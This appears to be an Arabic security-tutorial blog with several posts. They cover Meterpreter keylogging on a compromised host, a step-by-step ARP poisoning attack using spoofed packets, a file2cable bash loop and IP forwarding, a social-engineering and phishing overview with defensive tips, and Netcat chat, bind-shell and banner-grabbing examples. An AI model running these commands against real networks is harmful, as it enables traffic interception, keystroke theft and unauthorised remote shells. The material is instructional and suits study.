 تم انشاء عملية في النظام تحمل الرقم 4628 و تعمل عليها اداة cmd اي تم انشاء قناة channel للتفاعل تحمل الرقم 1 , للتفاعل مع هذه القناة يكفي تطبيق الامر :

interact 1

نجح الامر و حصلنا على command shell , جميع اوامر الميتربرتر لم تعد صالحة الآن , لهذا عند الانتهاء من التفاعل مع هذه القناة يجب تطبيق الامر exit للعودة الى محث الميتربرتر .

التنصت على الكيبورد

آخر ما سنراه في هذا الجزء هو عملية التنصت على الكيبورد اي الحصول على كل ما يتم كتابته من قبل مستخدم النظام , هذه العملية مفيدة جدا يمكن على سبيل المثال اختراق نظام و بدأ التنصت حتى يتم اغلاق النظام , في النهاية ستحصل على ملف نصي يحتوي على جميع ضغطات الكيبورد طوال الجلسة , لكي نبدأ التنصت نطبق الامر التالي :

run keylogrecorder

لاحظو معي هذا الامر بدأ ب run , و هي للاشارة الى اننا نريد تحميل سكربت في هذه الحالة keylogrecorder , السكربتات يمكن اعتبارها ادوات مساعدة للمتربرتر و تستخدم عادة للقيام بأعمال متقدمة سأشرحها ان شاء الله في الاجزاء القادمة, بعد كتابة الامر و الضغط على enter بدأت عملية ترحيل للميتربرتر الى explorer و هو بروسس معروف في الويندوز سأترك لكم الاجابة على السؤال لماذا تم ترحيل الميتربرتر للقيام ب keylog ?

الى هنا ينتهي الجزئ الاول من الموضوع , نلتقي في القادم … مع تحياتي اخوكم حسين

2 تعليقان

Filed under Uncategorized

التقاط حزم البيانات المارة بالشبكات packets sniffing

الدرس الرابع تسميم بروتوكول آرب ARP poisoning

القسم الثاني

السلام عليكم بطيت عنكم كما يقال في بلاد شنقيط, اليوم سنتقدم بعض الشيئ في الدورة التركيز على هذا الدرس مطلوب, بالنسبة للقراء الجدد تفضلوا هذه لينكات الدروس السابقة :

الدرس الاول – مدخل الى packets sniffing

الدرس الثاني – كيفية عمل السويتش LAN Switch

الدرس الثالث – هجوم MAC flooding

الدرس الرابع تسميم بروتوكول آرب ARP poisoning القسم الاول

في القسم الاول من عملية تسميم بروتوكول آرب وضعت سيناريو تواجد ثلاثة اجهزة A B C  واعتبرت ان الجهاز C يمثل المهاجم لكي ننجح في عملية التقاط الحزم يجب ان تمر عبر جهازنا يا ترى كيف يمكننا الاستفادة من نقطة ضعف ARPو القيام بهذا الهجوم ؟

ما سأقوم به هو خداع كل من الجهازين A و B سأخبر الجهاز A ان العنوان المنطقي او IP الجهاز B يتواجد عند العنوان الفيزيائي للجهاز C و ذلك بارسال حزمة استجابة مزورة ARP response الى الجهاز A  و سأخدع كذلك الجهاز Bو اخبره ان A يتواجد عند العنوان الفيزيائي ل C كما في الصورة التالية :

الآن دعوني اقوم بانشاء الحزم المزوة قبل ذلك يجب ان نلتقط حزمة استجابة ARP Response Packet لنستخدمها كقالب لتزوير الحزم و لهذا سأسخدم برنامج wireshark و اقوم بعمل ping على احد اجهزة الشبكة كما هو موضح في الصورة التالية :

عند اختيار الحزمة السابقة بالضغط عليها تظهر معلومات حزمة الاستجابة ARP Response :

الآن سأقوم بتفصيل الحقول لاحظو معي الصورة التالية و التي تمثل جزء ايثيرنت Ethernet من الحزمة :

كما ترون في الصورة الجزء المبين باللون الاحمر يمثل عنوان المستقبل Destination اي الجهاز الذي سيتلقى حزمة الاستجابة و بطبيعة الحال سنقوم بتعديله لاغراضنا مثلا في حالة اردنا خداع احد الاجهزة علينا تعديل هذا الحقل و نضع عنوانه الفيزيائي هنا , اما الجزء الازرق فيمثل عنوان المرسل و سيكون الجهاز الذي سنهاجم منه

الآن بقي لنا الجزء من الحزمة المخصص لبروتوكول ARP و الذي سنقوم ايضا بتعديله لاحقا في هذا الدرس :

الصورة السابقة كانت لبيانات المرسل عنوانه الفيزيائي و عنوانه المنطقي الآن سأوضح اين تتواجد بيانات المستقبل في جزء ARP من الحزمة :

الآن و قد انتهينا من توضيح اهم حقول حزمة ARP Response سنقوم بتعديلها قبل ذلك في نافذة wireshark ارجو الضغط على سطر frame بزر الفأرة الايمن و من ثم اختيار Export Selected Packet Bytes و ذلك لحفظ بايتات الحزمة في ملف ليتسنى لنا تعديلها :

بالنسبة لي حفظت البايتات في ملف اسميته arp_reply الآن سأستخدم محرر الهكس hexedit لتعديل الملف و لهذا يجب تطبيق الامر التالي :

hexedit -b arp_reply

الخيار b يعني buffer و هو لتحميل الملف بشكل كلي الى الذاكرة ليسهل التعامل معه بعد تطبيق الامر ستظهر الشاشة التالية :

اوكي الآن و قبل البدأ في تعديل حزمة الاستجابة و انشاء حزمنا المزورة سأوضح السيناريو كما قلت سابقا الجهاز C هو المهاجم اذا كل حقل يعني المرسل sender في الحزمة سيأخذ بيانات الجهاز C ما عدا حقل واحد و هو الآيبي لماذا ؟

ان لم تعرف الجواب اخي القارئ انصحك بالعودة للدروس السابقة ,,, عملية الخداع بسيطة و هي ان الجهاز C سيرسل حزمة حقل المرسل فيها و الذي يحتوي على العنوان الفيزيائي سيكون عنوانه اما العنوان المنطقي او الآيبي فسيكون عنوان الجهاز الذي ننتحل شخصيته فاذا وصلت الحزمة الى الجهاز الهدف اي الذي سنقوم بخداعه سوف يقوم بتعديل جدول ARP اي ARP cache table واضافة عنوان المهاجم الفيزيائي مقابل عنوان آيبي الجهاز المخدوع بعد ذلك اي برنامج يحاول ارسال بيانات الى آيبي جهاز المخدوع سيقوم بتمريرها الى جهاز المهاجم و هو C  في هذه الحالة :

اذا يجب علينا الحصول على معلومات الاجهزة وهو امر بسيط نعمل ping على كل من A و B و بعد ذلك نتفقد جدول ARP في جهازنا للحصول على العناوين الفيزيائية :

بالنسبة لمعلومات جهاز الهجوم C فيمكن الحصول عليها عن طريق الامر ifconfig

لننشئ الآن الحزم قبل ذلك سأريكم بنية حزمة الاستجابة للمرة الاخيرة :

البايتات المحاطة بالمربعات الحمراء سنضع فيها العنوان الفيزيائي للهدف فاذا اردنا خداع A سيكون عنوانه هناك

البايتات المحاطة باللون الابيض سنضع فيها العنوان الفيزيائي لجهاز الهجوم C

البايتات المحاطة باللون الاسود سنضع فيها آيبي الهدف

البايتات المحاطة باللون الاصفر سنضع فيها عنوان آيبي الجهاز الذي سننتحل شخصيته فاذا اردنا خداع A فسنضع عنوان آيبي الجهاز Bاذكر فقط انه يجب تحويل العنوان من النظام العشري الى النظام السداس عشري Hexadecimal

اليكم الآن محتويات ملفين arp_reply_a و arp_reply_b كل واحد منهما يحتوي على حزمة مزورة لخداع الهدف :

ملف خداع الجهاز A

ملف  خداع الجهاز B

انتهت مرحلة التعديل بقي لنا ارسال البايتات هناك اداة جميلة يمكنها حقن الحزم الجاهزة في بطاقة الشبكة الاداة تدعى file2cable و لاستخدامها سنطبق الامر التالي :

file2cable -i <interface> -f  file

مكان interface نضع واجهة الشبكة المستخدمة و مكان file اسم الملف الذي يحتوي على البايتات

بعد تطبيق الامر السابق سيتم ارسال البايتات الى الهدف المعني مما يرغمه على تعديل جدول آرب , لكن هذه التغييرات لن تبقى طويلا مما يتطلب تسميم الجدول كل ثانيتين على سبيل المثال, يمكن عمل باش سكربت يقوم بالعملية :

#!/bin/bash

while  [  true  ] ;

do

file2cable -i <interface> -f arp_reply_a;

file2cable -i <interface> -f arp_reply_b;

sleep 2;

done

لا تنسوا وضع اسم الواجهة مكان interface

الآن لنحفظ السكربت في ملف ونعطيه تصريح التنفيذ بالامر

chmod +x filename

بعد ذلك نقوم بتشغيله كما في الصورة :

لننتقل الى واجهة wireshark و نرى ماذا يحدث :

بقي امر مهم , كل مافعلناه فوق سيوقع الشبكة في ما يعرف بنكران الخدمة DoS لأننا لم نقم بتفعيل خاصية ip forwarding في جهازنا لتمرير الحزم ولكن ذلك بسيط جدا بتطبيق الامر التالي :

echo 1 > /proc/sys/net/ipv4/ip_forward

الى هنا ينتهي درسنا اليوم ,,, و مرحبا بأي ملاحظات

مع تحياتي اخوكم حسين…

تعليق واحد

Filed under Uncategorized

الهندسة الاجتماعية… تلاعب و خداع

الهندسة الاجتماعية  بالإنجليزي Social engineering هي تقنية للتلاعب بنفسيات الاشخاص بغرض الحصول على معلومات عن هدف معين قد يكون شخص او نظام او أي شيئ آخر فهي لا تتطلب خبرة في علوم الحاسب فقط القدرة على الخداع لانها تستغل ثقة الشخص و ذلك بانشاء صداقات و التغلغل في حياته عندها يبدأ الهجوم الذي يتمثل في محاولة جمع أي معلومات مفيدة او غير مفيدة تساعد في اختراق الهدف الشبكات الاجتماعية كثر فيها هذا الهجوم حيث نشاهد بكثرة عملية ارسال الروابط التي تحتوي على اكواد خبيثة محملة ببرامج تجسس من قبل اصدقاء تربطنا بهم ثقة عمياء الكثير من مستخدمي الشبكات الاجتماعية  لايكتشف هذا النوع من الهجمات والتي يحدد معدل نجاحها بدرجة غباء الهدف لاكن هذا ليس الوجه الاقوى للهندسة الاجتماعية الشبكات الاجتماعية و محركات البحث ما هي الا ادوات فعلى سبيل المثال يمكن جمع معلومات عن هدف معين لنتخيله شركة نود اختراقها اولا عن طريق جوجل يمكن الحصول على ايميلات اشخاص يعملون في هذه الشركة و من ثم نبحث عن حسابات لهذه الايميلات في الشبكات الاجتماعية بعدها نقوم بانشاء اتصالات و صداقات ثم نبدأ الهجوم ثقة الانسان في اغلب الاحيان تتجسد في درجة معرفة الشخص بمحيط الهدف مثلا اذا كنت اعرف اين يسكن احمد و اصدقاؤه و اين يدرس و الأماكن التي يزورها و نوع الموسيقى التي يحب يمكنني انشاء صداقة معه و ارفع درجة الثقة اذا كان احمد يعمل بالشركة الهدف حينها سأبد الهجوم على أحمد للحصول على معلومات تساعدني في اختراق الشركة ماذا لو ذهبت مع احمد الى مقر الشركة عندها يمكنني ان اسمع حوارات الموظفين او اقوم بالنبش في سلة المهملات للحصول على اوراق رماها احد الموظفين وتحتوي على بعض المعلومات هناك شركات تمنع على موظفيها استخدام سلة المهملات التقليدية خوفا من هجمات الهندسة الاجتماعية  ما تحدثت عنه ليس الا تجسس سأضع نقطة على اهم ادواته و هي استخدام المرأة و التي لطالما كانت وراء ابرز عمليات التجسس على سبيل المثال قصص الراقصة ماتا هاري  فلو وظفنا امرأة لاقامة علاقة صداقة مع احمد حينها سيكون مردودها اكبر و المعلومات التي ستحصل عليها قد تكون حساسة  اذا تطورت العلاقة الى ابعد من الصداقة

بعض الطرق المشهورة للخداع

هنا سأعرض بعض الطرق التي يستخدمها المهاجم في الهندسة الاجتماعية

الصيد phishing :

من اشهر طرق الخداع للحصول على المعلومات الشخصية و الحساسة حيث يقوم المهاجم هنا بارسال ايميل مزيف ينتحل شخصية شركة او بنك للحصول على المعلومات و ايضا يمكن ان يستخدم موقع مزيف يشبه الموقع الاصلي كصفحة باي بال او فيسبوك مزيفة

على سبيل المثال ان يصلك هذا اللينك على الايميل:

www.facebook.com

ستعتقد انه موقع الفيسبوك لاكن الرابط سينقلك الى موقع يمثل صفحة محملة على سيرفر وتشبه الفيسبوك مصصمة للصيد

شاهدوا هذه الرسالة من فايرفوكس و التي تخبرني بأني احاول دخول الى موقع احتيال

عندما قمت بتجاهل الرسالة و دخلت على الموقع ظهرت صفحة تشبه الفيسبوك كليا

بعد ذلك قمت بتفحص معلومات الموقعين الموقع المزيف و كما هو موضح لا يمتلك شهادة امنية :

من ناحية اخرى الصورة التالية تبين ان موقع فيسبوك المزور لا يقوم بتشفير البيانات :

البرامج و التحديثات المزورة:

هل عانيت منها ؟ عندما تدخل موقع تظهر لك رسالة تقول يجب عليك تحميل مضاد الفيروسات هذا لانه قوي او تقول لك يجب عليك تحديث الفايرفوكس للحصول على الميزة الفلانية او عليك تحديث الفلاش بمجرد قبول الرسالة و الضغط على OK يتم تحميل تروجان الى جهازك الصورة التالية توضح رسالة لمضاد فيروسات مزيف rogueware :

في 2010 قامت جوجل باحصائية كانت نتيجتها وجود 11000 موقع يستضيف مضادات فيروسات مزورة هذه النوع من المواقع بدأ ينتشر بشكل رهيب في السنوات الاخيرة الصورة التالية تمثل مضاد فيروسات مزور يدعى DR Guard :

الحماية من هذه الهجمات

كما يقال الوقاية خير من العلاج اي هكر خبير لن تتمكن من اكتشافه لانه سيقوم بدراستك اولا بدون اي اتصال بك ثم بعد ذلك يقوم بالاتصال لاتوجد تقنيات او خطوات محددة للحماية من هذا الهجوم فقط احرص ان لا تعطي معلوماتك الشخصية في الاخير اقدم لك بعض المشاريع التي تقوم باحصاء مواقع phishing و كذلك مضادات الفيروسات والتحديثات المزورة :

موقع فيش تانك يمتلك قاعدة بيانات كبيرة لمواقع الصيد : www.phishtank.com

منظمة antiphishing هي منظمة لمكافحة مواقع الاحتيال : www.antiphishing.org

http://www.microsoft.com/security/pc-security/antivirus-rogue.aspx

4 تعليقات

Filed under Uncategorized

ياصاحبي خذ للحبيب رسالتي

فعسى يرى بين السطور الأدمعا

بلغه أني في الغرام متيم

والقلب من حد الفراق تصدعا

 

 

تعليق واحد

Filed under Uncategorized

حلاوة Netcat

محمد و عائشة يعملان في مؤسسة و كلاهما مهتم بامن المعلومات و لديهما خبرة لابأس بها في هذا المجال المؤسسة التي يعملان بها تمنع اي شكل من اشكال الترفيه عبر الانترنت و حتى في الشبكة الداخلية حيث يمنع استخدام فيسبوك و كذلك سكايب و الماسنجر و في احد الايام اتفق كل من محمد و عائشة على كسر قانون المؤسسة و ارادا ايجاد طريقة ليتواصلا بها اثناء فترة عملهما الممل فجأة دارت في ذهن عائشة فكرة استخدام اداة النت كات Netcat المعروفة بسكينة الجيش السويسري هذه الاداة لها القدرة على ارسال و استقبال البيانات عبر مقابس بروتوكولات TCP و UDP و يمكن تحميلها من الرابط التالي :

http://www.downloadnetcat.com

السيناريو الاول :

اتفق كل من محمد و عائشة على استخدام النت كات كأداة للدردشة في اوقات العمل و قاما بتحميلها محمد يعمل على نظام ويندوز و عائشة تمتلك نظام لينوكس كل منهما قام بتحميل الاصدار المخصص لنظامه الآن سيقوم محمد بالتنصت على البورت 6666بواسطة النت كات و انتظار الاتصال من عائشة طبعا قبل ذلك يجب عليه اخطار عائشة بعنوانه و الذي هو 192.168.0.2 كما في الصورة التالية :

الخيارات :

v تعني verbose وهي لاظهار التفاصيل

l تعني listening اي التنصت

p تعني port ويتبعها مباشرة رقم البورت المراد التنصت عليه

الآن على عائشة الاتصال بجهاز محمد عبر البورت 6666 تقوم بتطبيق الامر التالي :

الآن اتم الاتصال بجهاز محمد الصورة التالية تظهر رسالة من النت كات لمحمد بأن الجهاز ذو الآيبي 192.168.0.1 قام بالاتصال به عبر البورت 6666 :

يقوم محمد باختبار نجاح العملية و يرسل hi aicha? كما هو موضح :

الصورة التالية من جهاز عائشة توضح حصولها على الرسالة الماضية :

و هكذا استطاع الاثنان حل مشكلة التواصل عبر استخدام سكينة الجيش السويسري

السيناريو الثاني

بعد مرور ايام من استخدام النت كات دخلت عائشة الى مكتبها و بدأت بعمل بعض الامور عبر الانترنت من هذه الامور انها كانت تقوم باستخدام اداة nslookup للنظر في تسجيلات DNS لبعض المواقع فجأة انقطع الاتصال بالانترنت قامت بالاتصال بمحمد و اخبرته بما جرى رد عليها بامكانية استخدام اتصاله عبر الانترنت لاكمال عملها باستخدام النت كات فوافقت على الفكرة قال محمد بانه سيقوم بالتنصت على البورت 6666 و فور اتصالها ستقوم النت كات بارسال برنامج cmd.exe اليها عندها يمكنها استخدام nslookup من الشل الذي ارسل اليها هذه العملية تعرف ب bind shell الصورة التالية توضح فتح محمد لبورت في جهازه و ربطه ببرنامج cmd :

الخيار e يعني execute في حال تم الاتصال بمحمد عبر البورت 6666 ستقوم النت كات بارسال cmd الى المتصل

من جانبها قامت عائشة بالاتصال بمحمد و حصلت على bind shellكما هو موضح :

بعدها قامت بتطبيق اوامر nslookup للنظر في تسجيل mx الخاص بجوجل ميل :

السيناريو الاخير :

عائشة و من دون اخبار محمد ارادت ان تعبث بسكينة الجيش السويسري و النظر في البورتات المفتوحة في نظام محمد و عمل Banner Grabbing عليها ارادت اولا ان تفحص منفذ بروتوكول ftp فقامت بتطبيق الامر التالي من جهازها و لكن البورت لم يكن مفتوح :

ثم بعد ذلك انتقلت الى فحص بروتوكول http و كانت النتيجة ان البورت مفتوح :

الصورة السابقة توضح ان عائشة لم تحصل على اي اجابة في ما يتعلق بالبروتوكول لانها لم تستخدم الخيار verbose و لتتأكد قامت بارسال طلب HTTP الى السيرفر حيث قامت بطلب الصفحة index.html في المرة الاولى لاكنها لم تكن موجودة وفي المرة الثانية قامت بارسال طلب للصفحة index.htm فكانت النتيجة كما ترون في الصور التالية :

الطلب الاول :

الصورة الثانية :

الى هنا ينتهي درسنا الخفيف مع تحياتي …

2 تعليقان

Filed under Uncategorized